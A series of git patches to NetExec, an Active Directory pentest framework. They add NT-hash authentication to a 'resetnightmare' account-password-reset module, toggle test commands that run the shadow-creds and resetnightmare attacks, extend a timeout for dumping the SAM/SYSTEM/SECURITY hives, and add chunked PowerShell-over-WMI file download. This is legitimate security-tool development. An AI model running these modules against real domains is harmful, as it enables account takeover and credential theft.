module_options.get("TARGET") self.new_password = module_options.get("NEW_PASSWORD") self.upn_user = module_options.get("UPN_USER") self.upn_password = module_options.get("UPN_PASSWORD") + self.upn_nthash = module_options.get("UPN_NTHASH") - if not all([self.target, self.new_password, self.upn_user, self.upn_password]): - context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and UPN_PASSWORD are all required") + if not all([self.target, self.new_password, self.upn_user, self.upn_password or self.upn_nthash]): + context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and either UPN_PASSWORD or UPN_NTHASH are all required") sys.exit(1) def resolve_account(self, sam): @@ -85,7 +88,7 @@ def request_changepw_tgt(self): client = Principal(self.target, type=constants.PrincipalNameType.NT_ENTERPRISE.value) kdc = self.connection.kdcHost or self.connection.host try: - tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", "", "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN) + tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password or "", self.connection.domain, "", self.upn_nthash or "", "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN) except (KerberosError, OSError) as e: self.context.log.fail(f"Failed to request change-password TGT: {e}") return None From ff52856d2e919f623f75f9df91755ca473f4eabd Mon Sep 17 00:00:00 2001 From: termanix Date: Fri, 18 Sep 2026 15:10:24 +0300 Subject: [PATCH 318/397] Add NT hash usage on example line --- nxc/modules/resetnightmare.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/modules/resetnightmare.py b/nxc/modules/resetnightmare.py index e3eb2f141a..a0aa4d5f16 100644 --- a/nxc/modules/resetnightmare.py +++ b/nxc/modules/resetnightmare.py @@ -37,6 +37,7 @@ def options(self, context, module_options): NEW_PASSWORD New password to set on TARGET UPN_USER sAMAccountName of a controlled account you can write a userPrincipalName to (not the login account) UPN_PASSWORD Cleartext password of UPN_USER + UPN_NTHASH NTLM Hash of UPN_USER Examples: netexec ldap -u -p -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_PASSWORD='Passw0rd!' From 4f6ef43aca3f0855cc0e7e6b732af521774f1eb6 Mon Sep 17 00:00:00 2001 From: termanix Date: Fri, 18 Sep 2026 15:12:21 +0300 Subject: [PATCH 319/397] edit e2e_commands --- tests/e2e_commands.txt | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index cf9a150cb3..000c4d7dd4 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -263,11 +263,12 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow- netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=backup JSONFILE=nxc-shadow-creds-castelblack.json netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=revert JSONFILE=nxc-shadow-creds-castelblack.json # These actions require the generated device ID for an automated round trip. -#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=add -#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=info DEVICE_ID=SHADOW_CREDS_DEVICE_ID -#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=remove DEVICE_ID=SHADOW_CREDS_DEVICE_ID +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=add +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=info DEVICE_ID=SHADOW_CREDS_DEVICE_ID +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=remove DEVICE_ID=SHADOW_CREDS_DEVICE_ID # resetnightmare resets a real account password with no restore and needs a controlled account with GenericWrite on its UPN + an unpatched DC, run manually, not in CI -#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_PASSWORD=Password1 +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_PASSWORD=Password1 +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_NTHASH=31d6cfe0d16ae931b73c59d7e0c089c0 ##### WINRM netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig From 3299d94e92246e87e0ba9bc0291ea21b5b3aaf25 Mon Sep 17 00:00:00 2001 From: termanix Date: Fri, 18 Sep 2026 17:35:28 +0300 Subject: [PATCH 320/397] misleading naming --- nxc/modules/resetnightmare.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/resetnightmare.py b/nxc/modules/resetnightmare.py index a0aa4d5f16..90e172048e 100644 --- a/nxc/modules/resetnightmare.py +++ b/nxc/modules/resetnightmare.py @@ -37,7 +37,7 @@ def options(self, context, module_options): NEW_PASSWORD New password to set on TARGET UPN_USER sAMAccountName of a controlled account you can write a userPrincipalName to (not the login account) UPN_PASSWORD Cleartext password of UPN_USER - UPN_NTHASH NTLM Hash of UPN_USER + UPN_NTHASH NT Hash of UPN_USER Examples: netexec ldap -u -p -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_PASSWORD='Passw0rd!' From efb0f308e940bf87d1031468b11b1374154f5bd1 Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Sat, 19 Sep 2026 10:51:25 +0300 Subject: [PATCH 321/397] Comment out shadow-cred and resetnightmare Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- tests/e2e_commands.txt | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 000c4d7dd4..7b387f9dd0 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -259,16 +259,16 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dump-co netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M raisechild netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-scriptpath # Backup followed by revert restores the same Shadow Credentials state on the disposable test computer. -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=list -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=backup JSONFILE=nxc-shadow-creds-castelblack.json -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=revert JSONFILE=nxc-shadow-creds-castelblack.json +# netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=list +# netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=backup JSONFILE=nxc-shadow-creds-castelblack.json +# netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=revert JSONFILE=nxc-shadow-creds-castelblack.json # These actions require the generated device ID for an automated round trip. -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=add -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=info DEVICE_ID=SHADOW_CREDS_DEVICE_ID -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=remove DEVICE_ID=SHADOW_CREDS_DEVICE_ID +# netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=add +# netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=info DEVICE_ID=SHADOW_CREDS_DEVICE_ID +# netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=remove DEVICE_ID=SHADOW_CREDS_DEVICE_ID # resetnightmare resets a real account password with no restore and needs a controlled account with GenericWrite on its UPN + an unpatched DC, run manually, not in CI -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_PASSWORD=Password1 -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_NTHASH=31d6cfe0d16ae931b73c59d7e0c089c0 +# netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_PASSWORD=Password1 +# netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_NTHASH=31d6cfe0d16ae931b73c59d7e0c089c0 ##### WINRM netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig From 325cd1c73b4fecfe472a1d90f7bd8a1f4f01d6fd Mon Sep 17 00:00:00 2001 From: termanix Date: Sat, 19 Sep 2026 10:55:52 +0300 Subject: [PATCH 322/397] removed sys library, sys.exit swapped to return false --- nxc/modules/resetnightmare.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/nxc/modules/resetnightmare.py b/nxc/modules/resetnightmare.py index 90e172048e..6a4b99c7ce 100644 --- a/nxc/modules/resetnightmare.py +++ b/nxc/modules/resetnightmare.py @@ -1,4 +1,3 @@ -import sys from impacket.krb5 import constants from impacket.krb5.types import Principal from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError @@ -52,7 +51,7 @@ def options(self, context, module_options): if not all([self.target, self.new_password, self.upn_user, self.upn_password or self.upn_nthash]): context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and either UPN_PASSWORD or UPN_NTHASH are all required") - sys.exit(1) + return False def resolve_account(self, sam): response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName"]) From 57c5af5fc2c53543e3a96269b18e77fde8091542 Mon Sep 17 00:00:00 2001 From: termanix Date: Sat, 19 Sep 2026 15:50:13 +0300 Subject: [PATCH 323/397] edit e2e --- tests/e2e_commands.txt | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 7b387f9dd0..c7f690cd75 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -259,16 +259,16 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dump-co netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M raisechild netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-scriptpath # Backup followed by revert restores the same Shadow Credentials state on the disposable test computer. -# netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=list -# netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=backup JSONFILE=nxc-shadow-creds-castelblack.json -# netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=revert JSONFILE=nxc-shadow-creds-castelblack.json +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=list +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=backup JSONFILE=nxc-shadow-creds-castelblack.json +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=revert JSONFILE=nxc-shadow-creds-castelblack.json # These actions require the generated device ID for an automated round trip. -# netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=add -# netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=info DEVICE_ID=SHADOW_CREDS_DEVICE_ID -# netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=remove DEVICE_ID=SHADOW_CREDS_DEVICE_ID +#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=add +#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=info DEVICE_ID=SHADOW_CREDS_DEVICE_ID +#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=remove DEVICE_ID=SHADOW_CREDS_DEVICE_ID # resetnightmare resets a real account password with no restore and needs a controlled account with GenericWrite on its UPN + an unpatched DC, run manually, not in CI -# netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_PASSWORD=Password1 -# netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_NTHASH=31d6cfe0d16ae931b73c59d7e0c089c0 +#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_PASSWORD=Password1 +#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_NTHASH=31d6cfe0d16ae931b73c59d7e0c089c0 ##### WINRM netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig From 03ae02ec01e358dbf80c4087979b2b32a4078945 Mon Sep 17 00:00:00 2001 From: termanix Date: Sat, 19 Sep 2026 15:52:00 +0300 Subject: [PATCH 324/397] empty strings fallback to first defined line from getKerberosTGT --- nxc/modules/resetnightmare.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/resetnightmare.py b/nxc/modules/resetnightmare.py index 6a4b99c7ce..c87678a68b 100644 --- a/nxc/modules/resetnightmare.py +++ b/nxc/modules/resetnightmare.py @@ -46,8 +46,8 @@ def options(self, context, module_options): self.target = module_options.get("TARGET") self.new_password = module_options.get("NEW_PASSWORD") self.upn_user = module_options.get("UPN_USER") - self.upn_password = module_options.get("UPN_PASSWORD") - self.upn_nthash = module_options.get("UPN_NTHASH") + self.upn_password = module_options.get("UPN_PASSWORD", "") + self.upn_nthash = module_options.get("UPN_NTHASH", "") if not all([self.target, self.new_password, self.upn_user, self.upn_password or self.upn_nthash]): context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and either UPN_PASSWORD or UPN_NTHASH are all required") From 76486f14a5f97fe3e7755be5f57d748f0becafdd Mon Sep 17 00:00:00 2001 From: termanix Date: Sat, 19 Sep 2026 15:58:16 +0300 Subject: [PATCH 325/397] removed double strings from getKerberosTGT --- nxc/modules/resetnightmare.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/resetnightmare.py b/nxc/modules/resetnightmare.py index c87678a68b..54eb5e210a 100644 --- a/nxc/modules/resetnightmare.py +++ b/nxc/modules/resetnightmare.py @@ -88,7 +88,7 @@ def request_changepw_tgt(self): client = Principal(self.target, type=constants.PrincipalNameType.NT_ENTERPRISE.value) kdc = self.connection.kdcHost or self.connection.host try: - tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password or "", self.connection.domain, "", self.upn_nthash or "", "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN) + tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", self.upn_nthash, "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN) except (KerberosError, OSError) as e: self.context.log.fail(f"Failed to request change-password TGT: {e}") return None From 3808655afa7423469b920bc5196e518309904f41 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 20 Sep 2026 06:20:05 -0400 Subject: [PATCH 326/397] Add big timeout for backup-operator module for larger hives --- nxc/modules/backup_operator.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 857f6d4298..7cba3a9834 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -37,6 +37,8 @@ def on_login(self, context, connection): dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP) try: + # Large hives can take minutes to save before the RPC call returns. + connection.conn.setTimeout(max(connection.args.smb_timeout, 60)) for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: hRootKey, subKey = self._strip_root_key(dce, hive) outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}" @@ -52,6 +54,7 @@ def on_login(self, context, connection): context.log.fail(f"Unexpected error: {e}") return finally: + connection.conn.setTimeout(connection.args.smb_timeout) with contextlib.suppress(Exception): dce.disconnect() From e63a43c1f0080f7019ba6901fc36ebdb5301e73c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 20 Sep 2026 08:04:08 -0400 Subject: [PATCH 327/397] Improve DNS check to be compliant with referenced RFCs --- nxc/helpers/misc.py | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index 2aa98d138f..6f9a659115 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -26,18 +26,18 @@ def gen_random_string(length=10): return "".join(random.sample(string.ascii_letters, int(length))) -_HOSTNAME_SANITIZE_RE = re.compile(r"[^\w\-.]") - - -def sanitize_hostname(hostname, logger): - """Strip characters from a server-provided hostname that could cause path - traversal, newline injection, or format-string issues when used in file - paths or output content. Logs a warning when the value is modified. - """ - sanitized = _HOSTNAME_SANITIZE_RE.sub("_", hostname) - if sanitized != hostname: - logger.fail(f"Hostname contained invalid characters (received: {hostname!r}), sanitized to: {sanitized!r}") - return sanitized +def sanitize_dns(hostname, logger): + """Check that the hostname is compliant with DNS naming conventions and sanitize it if necessary.""" + # As defined in: https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/naming-conventions-for-computer-domain-site-ou + # and RFCs 952, 1123 this should restrict DNS names (including the hostname) to the following regex + # Taken from https://stackoverflow.com/a/2063247 + DNS_REGEX = re.compile(r"^(?![0-9]+$)(?!-)[a-zA-Z0-9-]{,63}(? Date: Sun, 20 Sep 2026 08:11:15 -0400 Subject: [PATCH 328/397] Rename sanitizing function --- nxc/protocols/mssql.py | 4 ++-- nxc/protocols/rdp.py | 4 ++-- nxc/protocols/smb.py | 10 +++++----- nxc/protocols/winrm.py | 4 ++-- nxc/protocols/wmi.py | 4 ++-- 5 files changed, 13 insertions(+), 13 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index d367cdcf83..c65f6f8c32 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -7,7 +7,7 @@ from nxc.config import process_secret, host_info_colors from nxc.connection import connection from nxc.connection import requires_admin -from nxc.helpers.misc import gen_random_string, sanitize_hostname +from nxc.helpers.misc import gen_random_string, sanitize_dns from nxc.logger import NXCAdapter from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.negotiate_parser import parse_challenge, login7_integrated_auth_error_message @@ -156,7 +156,7 @@ def enum_host_info(self): if challenge.startswith(b"NTLMSSP\x00"): ntlm_info = parse_challenge(challenge) self.targetDomain = self.domain = ntlm_info["domain"] - self.hostname = sanitize_hostname(ntlm_info["hostname"], self.logger) + self.hostname = sanitize_dns(ntlm_info["hostname"], self.logger) self.server_os = ntlm_info["os_version"] self.logger.extra["hostname"] = self.hostname else: diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index a84dda304e..698fdae2cd 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -8,7 +8,7 @@ from impacket.krb5.ccache import CCache from nxc.connection import connection -from nxc.helpers.misc import sanitize_hostname +from nxc.helpers.misc import sanitize_dns from nxc.helpers.bloodhound import add_user_bh from nxc.logger import NXCAdapter from nxc.config import host_info_colors, process_secret @@ -143,7 +143,7 @@ def create_conn_obj(self): pass else: self.domain = info_domain["dnsdomainname"] - self.hostname = sanitize_hostname(info_domain["computername"], self.logger) + self.hostname = sanitize_dns(info_domain["computername"], self.logger) self.server_os = info_domain["os_guess"] + " Build " + str(info_domain["os_build"]) self.logger.extra["hostname"] = self.hostname break diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 48c02b1570..e6af66fa7e 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -9,7 +9,7 @@ from nxc.helpers.path import sanitize_filename from Cryptodome.Hash import MD4 from textwrap import dedent -from nxc.helpers.misc import sanitize_hostname +from nxc.helpers.misc import sanitize_dns from impacket.smbconnection import SMBConnection, SessionError from impacket.smb import SMB_DIALECT @@ -210,12 +210,12 @@ def enum_host_info(self): # Try to get hostname with getServerDNSHostName as getServerName is truncated to 15 chars dns_hostname = self.conn.getServerDNSHostName().upper() if dns_hostname and "." in dns_hostname: - self.hostname = dns_hostname.split(".")[0] + hostname = dns_hostname.split(".")[0] elif dns_hostname: - self.hostname = dns_hostname + hostname = dns_hostname else: - self.hostname = self.conn.getServerName() - self.hostname = sanitize_hostname(self.hostname, self.logger) + hostname = self.conn.getServerName() + self.hostname = sanitize_dns(hostname, self.logger) self.targetDomain = self.conn.getServerDNSDomainName() if not self.targetDomain: # Not sure if that can even happen but now we are safe self.targetDomain = self.hostname diff --git a/nxc/protocols/winrm.py b/nxc/protocols/winrm.py index 5619f88a28..b17126d3f2 100644 --- a/nxc/protocols/winrm.py +++ b/nxc/protocols/winrm.py @@ -8,7 +8,7 @@ import xml.etree.ElementTree as ET from pypsrp.wsman import NAMESPACES -from nxc.helpers.misc import sanitize_hostname +from nxc.helpers.misc import sanitize_dns from pypsrp.client import Client from pypsrp.powershell import PSDataStreams from termcolor import colored @@ -70,7 +70,7 @@ def enum_host_info(self): return False self.targetDomain = self.domain = ntlm_info["domain"] - self.hostname = sanitize_hostname(ntlm_info["hostname"], self.logger) + self.hostname = sanitize_dns(ntlm_info["hostname"], self.logger) self.server_os = ntlm_info["os_version"] self.logger.extra["hostname"] = self.hostname diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 434845be84..b2dcf430dc 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -2,7 +2,7 @@ from io import StringIO from nxc.helpers.negotiate_parser import parse_challenge -from nxc.helpers.misc import sanitize_hostname +from nxc.helpers.misc import sanitize_dns from nxc.config import process_secret from nxc.connection import connection, dcom_FirewallChecker, requires_admin from nxc.logger import NXCAdapter @@ -138,7 +138,7 @@ def enum_host_info(self): bindResp = MSRPCBindAck(response.getData()) ntlm_info = parse_challenge(bindResp["auth_data"]) self.targetDomain = self.domain = ntlm_info["domain"] - self.hostname = sanitize_hostname(ntlm_info["hostname"], self.logger) + self.hostname = sanitize_dns(ntlm_info["hostname"], self.logger) self.server_os = ntlm_info["os_version"] self.logger.extra["hostname"] = self.hostname else: From f55edf39871f5572060ad52b9f1c0902027895e7 Mon Sep 17 00:00:00 2001 From: zblurx Date: Tue, 22 Sep 2026 17:07:48 +0200 Subject: [PATCH 329/397] support big files download --- nxc/protocols/wmi.py | 75 +++++++++++++++++++----------- nxc/protocols/wmi/wmiexec.py | 8 ++-- nxc/protocols/wmi/wmiexec_event.py | 9 ++-- 3 files changed, 58 insertions(+), 34 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 9795fe1f6a..f8a7b3887a 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -3,6 +3,7 @@ import binascii from Cryptodome.Hash import MD4 from io import StringIO +import base64 from nxc.helpers.negotiate_parser import parse_challenge from nxc.config import process_secret @@ -401,32 +402,48 @@ def callback_func(iEnumWbemClassObject, records): wql = f"SELECT FileSize FROM CIM_DataFile WHERE Name = '{escaped_path}'" self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func) # If file is bigger than 70MB, print a warning - if callback_func.size > 73400320: # 70MB - self.logger.fail(f"{remote_path} filesize is {callback_func.size/1024**2:.2f} Mo. The download will take some time and can crash.") - - # Read the file - try: - object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"' - iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path) - except DCERPCSessionError as e: - if e.error_code == 0x80041002: - self.logger.fail(f"Cannot find file '{remote_path}'") - return None - - obj = iWbemClassObject.getProperties() - - file_data = None - for prop_name, prop_value in obj.items(): - if prop_name == "FileData": - file_data = prop_value["value"] - break - - if len(file_data) < 4: - return None - - # Unpack it - file_length = struct.unpack(">I", bytes(file_data[:4]))[0] - return bytes(file_data[4:4 + file_length]) + if callback_func.size < 73400320: # 70MB + # Read the file + try: + object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"' + iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path) + except DCERPCSessionError as e: + if e.error_code == 0x80041002: + self.logger.fail(f"Cannot find file '{remote_path}'") + return None + + obj = iWbemClassObject.getProperties() + + file_data = None + for prop_name, prop_value in obj.items(): + if prop_name == "FileData": + file_data = prop_value["value"] + break + + if len(file_data) < 4: + return None + + # Unpack it + file_length = struct.unpack(">I", bytes(file_data[:4]))[0] + return bytes(file_data[4:4 + file_length]) + else: + self.logger.fail(f"{remote_path} filesize is {callback_func.size/1024**2:.2f} Mo. The download will take some time and use wmi command execution.") + # Read file dirty + data = b"" + chunk_size = 1 * 1024 * 1024 # 5MB - Could not do bigger or it crash + chunk_count = (callback_func.size + chunk_size - 1) // chunk_size + try: + for i in range(chunk_count): + offset = i * chunk_size + self.logger.debug(f"Reading bytes from {offset} to {offset+chunk_size if offset+chunk_size < callback_func.size else callback_func.size}") + powershell_command = f"$fs=[IO.File]::OpenRead('{remote_path}');try {{ $fs.Seek({offset},[IO.SeekOrigin]::Begin)|Out-Null;$b=[byte[]]::new({chunk_size});$n=$fs.Read($b,0,$b.Length);Write-Output 